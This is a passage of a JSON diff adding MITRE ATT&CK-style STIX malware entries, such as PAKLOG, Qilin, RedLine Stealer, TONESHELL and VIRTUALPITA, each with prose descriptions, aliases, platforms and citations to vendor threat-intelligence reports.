Symantec and Carbon Black. (2025, March 6). Medusa Ransomware Activity Continues to Increase. Retrieved October 15, 2025.", + "url": "https://www.security.com/threat-intelligence/medusa-ransomware-attacks" + }, + { + "source_name": "Security Scorecard Medusa Ransomware January 2024", + "description": "Vlad Pasca. (2024, January 1). A Deep Dive into Medusa Ransomware. Retrieved October 15, 2025.", + "url": "https://securityscorecard.com/wp-content/uploads/2024/01/deep-dive-into-medusa-ransomware.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Medusa Ransomware" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--0bf64997-7ce1-43e5-b01a-bcd2bf5dc87f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-09-12 15:08:09.556000+00:00", + "modified": "2025-10-21 16:53:47.769000+00:00", + "name": "PAKLOG", + "description": "[PAKLOG](https://attack.mitre.org/software/S1233) is a keylogger known to be leveraged by [Mustang Panda](https://attack.mitre.org/groups/G0129) and was first observed utilized in 2024. [PAKLOG](https://attack.mitre.org/software/S1233) is deployed via a RAR archive (e.g., key.rar), which contains two files: a signed, legitimate binary (PACLOUD.exe) and the malicious [PAKLOG](https://attack.mitre.org/software/S1233) DLL (pa_lang2.dll). The PACLOUD.exe binary is used to side-load the [PAKLOG](https://attack.mitre.org/software/S1233) DLL which starts with the keylogger functionality.(Citation: Zscaler PAKLOG CorkLog SplatCloak Splatdropper April 2025)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1233", + "external_id": "S1233" + }, + { + "source_name": "Zscaler PAKLOG CorkLog SplatCloak Splatdropper April 2025", + "description": "Sudeep Singh. (2025, April 16). Latest Mustang Panda Arsenal: PAKLOG, CorKLOG, and SplatCloak | P2. Retrieved September 12, 2025.", + "url": "https://www.zscaler.com/blogs/security-research/latest-mustang-panda-arsenal-paklog-corklog-and-splatcloak-p2" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "PAKLOG" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--3824852d-1957-4712-9da0-38143723c060", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-08-04 16:35:44.800000+00:00", + "modified": "2025-10-24 02:46:58.268000+00:00", + "name": "PUBLOAD", + "description": "[PUBLOAD](https://attack.mitre.org/software/S1228) is a stager malware that has been observed installing itself in existing directories such as `C:\\Users\\Public` or creating new directories to stage the malware and its components.(Citation: 2022 November_TrendMicro_Earth Preta_Toneshell_Pubload) [PUBLOAD](https://attack.mitre.org/software/S1228) malware collects details of the victim host, establishes persistence, encrypts victim details using RC4 and communicates victim details back to C2. [PUBLOAD](https://attack.mitre.org/software/S1228) malware has previously been leveraged by China-affiliated actors identified as [Mustang Panda](https://attack.mitre.org/groups/G0129). [PUBLOAD](https://attack.mitre.org/software/S1228) is also known as \u201cNoFive\u201d and some public reporting identifies the loader component as [CLAIMLOADER](https://attack.mitre.org/software/S1236).(Citation: 2025_IBM_PUBLOAD_TONESHELL_HIUPAN_CLAIMLOADER_MUSTANG PANDA)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1228", + "external_id": "S1228" + }, + { + "source_name": "2025_IBM_PUBLOAD_TONESHELL_HIUPAN_CLAIMLOADER_MUSTANG PANDA", + "description": "Golo Muhr, Joshua Chung. (2025, May 15). Hive0154 targeting US, Philippines, Pakistan and Taiwan in suspected espionage campaign. Retrieved August 4, 2025.", + "url": "https://www.ibm.com/think/x-force/hive0154-targeting-us-philippines-pakistan-taiwan" + }, + { + "source_name": "2022 November_TrendMicro_Earth Preta_Toneshell_Pubload", + "description": "Nick Dai, Vickie Su, Sunny Lu. (2022, November 18). Earth Preta Spear-Phishing Governments Worldwide. Retrieved August 4, 2025.", + "url": "https://www.trendmicro.com/en_us/research/22/k/earth-preta-spear-phishing-governments-worldwide.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "PUBLOAD" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--e23d2777-b85d-44fc-861e-9149d399fbb9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-09-26 19:18:39.227000+00:00", + "modified": "2025-10-23 21:54:13.055000+00:00", + "name": "Qilin", + "description": "[Qilin](https://attack.mitre.org/software/S1242) ransomware is a Ransomware-as-a-Service (RaaS) that has been active since at least 2022 with versions written in Golang and Rust that are capable of targeting Windows or VMWare ESXi devices. [Qilin](https://attack.mitre.org/software/S1242) shares functionality overlaps with [Black Basta](https://attack.mitre.org/software/S1070), [REvil](https://attack.mitre.org/software/S0496), and [BlackCat](https://attack.mitre.org/software/S1068) ransomware and its RaaS affiliates have been observed targeting multiple sectors worldwide, including healthcare and education in Asia, Europe, and Africa. (Citation: Trend Micro Agenda Ransomware AUG 2022)(Citation: SentinelOne Qilin NOV 2022)(Citation: BushidoToken Qilin RaaS JUN 2024)(Citation: Sophos Qilin MSP APR 2025)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1242", + "external_id": "S1242" + }, + { + "source_name": "Agenda", + "description": "(Citation: Sophos Qilin MSP APR 2025)(Citation: Trend Micro Agenda Ransomware AUG 2022)(Citation: SentinelOne Qilin NOV 2022)" + }, + { + "source_name": "Sophos Qilin MSP APR 2025", + "description": "Bradshaw, A. et al. (2025, April 1). Qilin affiliates spear-phish MSP ScreenConnect admin, targeting customers downstream. Retrieved September 26, 2025.", + "url": "https://news.sophos.com/en-us/2025/04/01/sophos-mdr-tracks-ongoing-campaign-by-qilin-affiliates-targeting-screenconnect/" + }, + { + "source_name": "Trend Micro Agenda Ransomware AUG 2022", + "description": "Magdy, S. et al. (2022, August 25). New Golang Ransomware Agenda Customizes Attacks. Retrieved September 26, 2025.", + "url": "https://www.trendmicro.com/en_us/research/22/h/new-golang-ransomware-agenda-customizes-attacks.html" + }, + { + "source_name": "SentinelOne Qilin NOV 2022", + "description": "SentinelOne. (2022, November 30). Agenda (Qilin). Retrieved September 26, 2025.", + "url": "https://www.sentinelone.com/anthology/agenda-qilin/" + }, + { + "source_name": "BushidoToken Qilin RaaS JUN 2024", + "description": "Thomas, W. (2024, June 12). Tracking Adversaries: The Qilin RaaS. Retrieved September 26, 2025.", + "url": "https://blog.bushidotoken.net/2024/06/tracking-adversaries-qilin-raas.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Qilin", + "Agenda" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Simon Williams", + "Jiraput Thamsongkrah" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--4ea492ee-36f8-4017-938f-d01ce951ef94", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-06-09 18:54:06.899000+00:00", + "modified": "2025-06-09 19:06:51.881000+00:00", + "name": "REPTILE", + "description": "[REPTILE](https://attack.mitre.org/software/S1219) is an open-source Linux rootkit with multiple components that provides backdoor access and functionality.(Citation: Google Cloud Mandiant UNC3886 2024)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1219", + "external_id": "S1219" + }, + { + "source_name": "Google Cloud Mandiant UNC3886 2024", + "description": " Punsaen Boonyakarn, Shawn Chew, Logeswaran Nadarajan, Mathew Potaczek, Jakub Jozwiak, and Alex Marvi. (2024, June 18). Cloaked and Covert: Uncovering UNC3886 Espionage Operations. Retrieved September 24, 2024.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/uncovering-unc3886-espionage-operations" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "REPTILE" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--d0270367-37fc-471e-9206-483582c5f47d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-06-12 18:58:06.672000+00:00", + "modified": "2025-06-12 18:59:34.105000+00:00", + "name": "RIFLESPINE", + "description": "[RIFLESPINE](https://attack.mitre.org/software/S1222) is a cross-platform backdoor that leverages Google Drive for file transfer and command execution.(Citation: Google Cloud Mandiant UNC3886 2024)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1222", + "external_id": "S1222" + }, + { + "source_name": "Google Cloud Mandiant UNC3886 2024", + "description": " Punsaen Boonyakarn, Shawn Chew, Logeswaran Nadarajan, Mathew Potaczek, Jakub Jozwiak, and Alex Marvi. (2024, June 18). Cloaked and Covert: Uncovering UNC3886 Espionage Operations. Retrieved September 24, 2024.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/uncovering-unc3886-espionage-operations" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "RIFLESPINE" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--8c8e8b01-b4b1-479b-a7a9-78c40a12b916", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-09-17 14:42:04.015000+00:00", + "modified": "2025-10-24 03:03:55.275000+00:00", + "name": "RedLine Stealer", + "description": "[RedLine Stealer](https://attack.mitre.org/software/S1240) is an information-stealer malware variant first identified in 2020.(Citation: ESET RedLine Stealer November 2024)(Citation: Proofpoint RedLine Stealer March 2020)(Citation: Splunk RedLine Stealer June 2023) [RedLine Stealer](https://attack.mitre.org/software/S1240) is a Malware as a Service (MaaS) and was reportedly sold as either a one-time purchase or a monthly subscription service.(Citation: ESET RedLine Stealer November 2024)(Citation: Veriti RedLine Stealer MAAS April 2023) Information obtained from [RedLine Stealer](https://attack.mitre.org/software/S1240) has been known to be sold on the deep and dark web to Initial Access Brokers (IABs), who use or resell the stolen credentials for further intrusions.(Citation: Kroll RedLine Stealer August 2024)(Citation: Veriti RedLine Stealer MAAS April 2023)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1240", + "external_id": "S1240" + }, + { + "source_name": "ESET RedLine Stealer November 2024", + "description": "Alexandre Cote Cyr. (2024, November 8). Life on a crooked RedLine: Analyzing the infamous infostealer\u2019s backend. Retrieved September 17, 2025.", + "url": "https://www.welivesecurity.com/en/eset-research/life-crooked-redline-analyzing-infamous-infostealers-backend/" + }, + { + "source_name": "Kroll RedLine Stealer August 2024", + "description": "George Glass. (2024, August 14). REDLINESTEALER Malware Driving the Initial Access Broker Market. Retrieved September 17, 2025.", + "url": "https://www.kroll.com/en/publications/cyber/redlinestealer-malware" + }, + { + "source_name": "Proofpoint RedLine Stealer March 2020", + "description": "Proofpoint Threat Insight Team, Jeremy H, Axel F. (2020, March 16). New Redline Password Stealer Malware. Retrieved September 17, 2025.", + "url": "https://www.proofpoint.com/us/blog/threat-insight/new-redline-stealer-distributed-using-coronavirus-themed-email-campaign" + }, + { + "source_name": "Splunk RedLine Stealer June 2023", + "description": "Splunk Threat Research Team. (2023, June 1). Do Not Cross The 'RedLine' Stealer: Detections and Analysis. Retrieved September 17, 2025.", + "url": "https://www.splunk.com/en_us/blog/security/do-not-cross-the-redline-stealer-detections-and-analysis.html" + }, + { + "source_name": "Veriti RedLine Stealer MAAS April 2023", + "description": "Yair Herling. (2023, April 4). From ChatGPT to RedLine Stealer: The Dark Side of OpenAI and Google Bard. Retrieved September 17, 2025.", + "url": "https://veriti.ai/blog/veriti-research/from-chatgpt-to-redline-stealer-the-dark-side-of-openai-and-google-bard/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "RedLine Stealer" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--301e7370-c3d3-4f3e-893f-8a79345c2eb5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-09-12 17:38:17.697000+00:00", + "modified": "2025-10-21 16:55:19.794000+00:00", + "name": "STATICPLUGIN", + "description": "[STATICPLUGIN](https://attack.mitre.org/software/S1238) is a downloader known to be leveraged by [Mustang Panda](https://attack.mitre.org/groups/G0129) and was first observed utilized in 2025. [STATICPLUGIN](https://attack.mitre.org/software/S1238) has utilized a valid certificate in order to bypass endpoint security protections. [STATICPLUGIN](https://attack.mitre.org/software/S1238) masqueraded as legitimate software installer by using a custom TForm. [STATICPLUGIN](https://attack.mitre.org/software/S1238) has been leveraged to deploy a loader that facilitates follow on malware.(Citation: Google Threat Intelligence Group MUSTANG PANDA PLUGX August 2025)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1238", + "external_id": "S1238" + }, + { + "source_name": "Google Threat Intelligence Group MUSTANG PANDA PLUGX August 2025", + "description": "Patrick Whitsell. (2025, August 25). Deception in Depth: PRC-Nexus Espionage Campaign Hijacks Web Traffic to Target Diplomats. Retrieved September 9, 2025.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/prc-nexus-espionage-targets-diplomats" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "STATICPLUGIN" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--f39c6d39-0165-46db-a7ae-43341c428d22", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-09-12 15:26:05.778000+00:00", + "modified": "2025-10-21 16:55:42.594000+00:00", + "name": "SplatCloak", + "description": "[SplatCloak](https://attack.mitre.org/software/S1234) is a malware that disables EDR-related routines used by Windows Defender and Kaspersky to aid in evading detection. [SplatCloak](https://attack.mitre.org/software/S1234) has been deployed by [SplatDropper](https://attack.mitre.org/software/S1232) and is known to be leveraged by [Mustang Panda](https://attack.mitre.org/groups/G0129) since 2025.(Citation: Zscaler PAKLOG CorkLog SplatCloak Splatdropper April 2025)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1234", + "external_id": "S1234" + }, + { + "source_name": "Zscaler PAKLOG CorkLog SplatCloak Splatdropper April 2025", + "description": "Sudeep Singh. (2025, April 16). Latest Mustang Panda Arsenal: PAKLOG, CorKLOG, and SplatCloak | P2. Retrieved September 12, 2025.", + "url": "https://www.zscaler.com/blogs/security-research/latest-mustang-panda-arsenal-paklog-corklog-and-splatcloak-p2" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "SplatCloak" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--6114c345-4c09-42ce-8d37-aef16360a7f3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-09-12 14:46:05.125000+00:00", + "modified": "2025-10-21 16:56:26.801000+00:00", + "name": "SplatDropper", + "description": "[SplatDropper](https://attack.mitre.org/software/S1232) is a loader that utilizes native windows API to deliver its payload to the victim environment. [SplatDropper](https://attack.mitre.org/software/S1232) has been delivered through RAR archives and used legitimate executable for DLL side-loading. [SplatDropper](https://attack.mitre.org/software/S1232) is known to be leveraged by [Mustang Panda](https://attack.mitre.org/groups/G0129) and was first observed utilized in 2025.", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1232", + "external_id": "S1232" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "SplatDropper" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--e91d3543-ca5d-474b-8b20-5a753ebc6e49", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-07-21 20:08:20.983000+00:00", + "modified": "2025-10-21 22:47:13.304000+00:00", + "name": "StarProxy", + "description": "[StarProxy](https://attack.mitre.org/software/S1227) is custom malware used by [Mustang Panda](https://attack.mitre.org/groups/G0129) as a post-compromise tool, to enable proxying of traffic between the infected machine and other machines on the same network. (Citation: Zscaler)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1227", + "external_id": "S1227" + }, + { + "source_name": "Zscaler", + "description": "Sudeep Singh. (2025, April 16). Latest Mustang Panda Arsenal: ToneShell and StarProxy | P1. Retrieved July 21, 2025.", + "url": "https://www.zscaler.com/blogs/security-research/latest-mustang-panda-arsenal-toneshell-and-starproxy-p1" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "StarProxy" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "YH Chang, ZScaler", + "ZScaler" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--351b63d3-7b2c-4ede-b3fe-ff291527b397", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-06-16 19:30:05.694000+00:00", + "modified": "2025-06-16 19:32:23.545000+00:00", + "name": "THINCRUST", + "description": "[THINCRUST](https://attack.mitre.org/software/S1223) is a Python-based backdoor tool that has been used by [UNC3886](https://attack.mitre.org/groups/G1048) since at least 2023.(Citation: Mandiant Fortinet Zero Day)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1223", + "external_id": "S1223" + }, + { + "source_name": "Mandiant Fortinet Zero Day", + "description": "Marvi, A. et al.. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved March 22, 2023.", + "url": "https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "THINCRUST" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--2683fde8-1dc4-415c-94bd-9bb95cc5b7ff", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-09-15 13:52:23.890000+00:00", + "modified": "2025-10-21 22:46:53.202000+00:00", + "name": "TONESHELL", + "description": "[TONESHELL](https://attack.mitre.org/software/S1239) is a custom backdoor that has been used since at least Q1 2021.(Citation: Palo Alto Unit42 STATELY TAURUS TONESHELL September 2023) [TONESHELL](https://attack.mitre.org/software/S1239) malware has previously been leveraged by Chinese affiliated actors identified as [Mustang Panda](https://attack.mitre.org/groups/G0129).(Citation: ATTACKIQ MUSTANG PANDA TONESHELL March 2023)(Citation: Zscaler)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1239", + "external_id": "S1239" + }, + { + "source_name": "ATTACKIQ MUSTANG PANDA TONESHELL March 2023", + "description": "Ken Towne, Francis Guibernau. (2023, March 23). Emulating the Politically Motivated Chinese APT Mustang Panda. Retrieved September 10, 2025.", + "url": "https://www.attackiq.com/2023/03/23/emulating-the-politically-motivated-chinese-apt-mustang-panda/" + }, + { + "source_name": "Palo Alto Unit42 STATELY TAURUS TONESHELL September 2023", + "description": "Lior Rochberger, Tom Fakterman, Robert Falcone. (2023, September 22). Cyberespionage Attacks Against Southeast Asian Government Linked to Stately Taurus, Aka Mustang Panda. Retrieved September 9, 2025.", + "url": "https://unit42.paloaltonetworks.com/stately-taurus-attacks-se-asian-government/" + }, + { + "source_name": "Zscaler", + "description": "Sudeep Singh. (2025, April 16). Latest Mustang Panda Arsenal: ToneShell and StarProxy | P1. Retrieved July 21, 2025.", + "url": "https://www.zscaler.com/blogs/security-research/latest-mustang-panda-arsenal-toneshell-and-starproxy-p1" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "TONESHELL" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "YH Chang, ZScaler", + "ZScaler" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--7cc63f0f-f24f-4cda-9e9f-61bde1d52297", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-06-04 17:23:59.580000+00:00", + "modified": "2025-06-04 17:25:35.637000+00:00", + "name": "VIRTUALPIE", + "description": "[VIRTUALPIE](https://attack.mitre.org/software/S1218) is a lightweight backdoor written in Python that spawns an IPv6 listener on a VMware ESXi server and features command line execution, file transfer, and reverse shell capabilities. [VIRTUALPIE](https://attack.mitre.org/software/S1218) has been in use since at least 2022 including by [UNC3886](https://attack.mitre.org/groups/G1048) who installed it via malicious vSphere Installation Bundles (VIBs).(Citation: Google Cloud Threat Intelligence ESXi VIBs 2022)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1218", + "external_id": "S1218" + }, + { + "source_name": "Google Cloud Threat Intelligence ESXi VIBs 2022", + "description": "Alexander Marvi, Jeremy Koppen, Tufail Ahmed, and Jonathan Lepore. (2022, September 29). Bad VIB(E)s Part One: Investigating Novel Malware Persistence Within ESXi Hypervisors. Retrieved March 26, 2025.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/esxi-hypervisors-malware-persistence" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "VIRTUALPIE" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--df0b59fe-0193-49ea-84e1-9207139c716c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-06-02 18:53:39.966000+00:00", + "modified": "2025-06-03 18:53:01.340000+00:00", + "name": "VIRTUALPITA", + "description": "[VIRTUALPITA](https://attack.mitre.org/software/S1217) is a passive backdoor with ESXi and Linux vCenter variants capable of command execution, file transfer, and starting and stopping processes. [VIRTUALPITA](https://attack.mitre.org/software/S1217) has been in use since at least 2022 including by [UNC3886](https://attack.mitre.org/groups/G1048) who leveraged malicious vSphere Installation Bundles (VIBs) for install on ESXi hypervisors.(Citation: Google Cloud Threat Intelligence ESXi VIBs 2022)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1217", + "external_id": "S1217" + }, + { + "source_name": "Google Cloud Threat Intelligence ESXi VIBs 2022", + "description": "Alexander Marvi, Jeremy Koppen, Tufail Ahmed, and Jonathan Lepore. (2022, September 29). Bad VIB(E)s Part One: Investigating Novel Malware Persistence Within ESXi Hypervisors. Retrieved March 26, 2025.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/esxi-hypervisors-malware-persistence" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "VIRTUALPITA" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--fedd9fcd-1f9c-4be0-9d84-f31e88eb6664", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-22 17:23:53.186000+00:00", + "modified": "2025-10-24 02:59:41.127000+00:00", + "name": "XORIndex Loader", + "description": "[XORIndex Loader](https://attack.mitre.org/software/S1248) is a XOR-encoded loader that collects host data, decodes follow-on scripts and acts as a downloader for the [BeaverTail](https://attack.mitre.org/software/S1246) malware. [XORIndex Loader](https://attack.mitre.org/software/S1248) was first reported in June 2025. [XORIndex Loader](https://attack.mitre.org/software/S1248) has been leveraged by North Korea-affiliated threat actors identified as [Contagious Interview](https://attack.mitre.org/groups/G1052). [XORIndex Loader](https://attack.mitre.org/software/S1248) has been delivered to victims through code repository sites utilizing typo squatting naming conventions of various npm packages.(Citation: Socket BeaverTail XORIndex HexEval Contagious Interview July 2025)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1248", + "external_id": "S1248" + }, + { + "source_name": "Socket BeaverTail XORIndex HexEval Contagious Interview July 2025", + "description": "Kirill Boychenko. (2025, July 14). Contagious Interview Campaign Escalates With 67 Malicious npm Packages and New Malware Loader. Retrieved October 19, 2025.", + "url": "https://socket.dev/blog/contagious-interview-campaign-escalates-67-malicious-npm-packages" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "XORIndex Loader" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0" + } + ], + 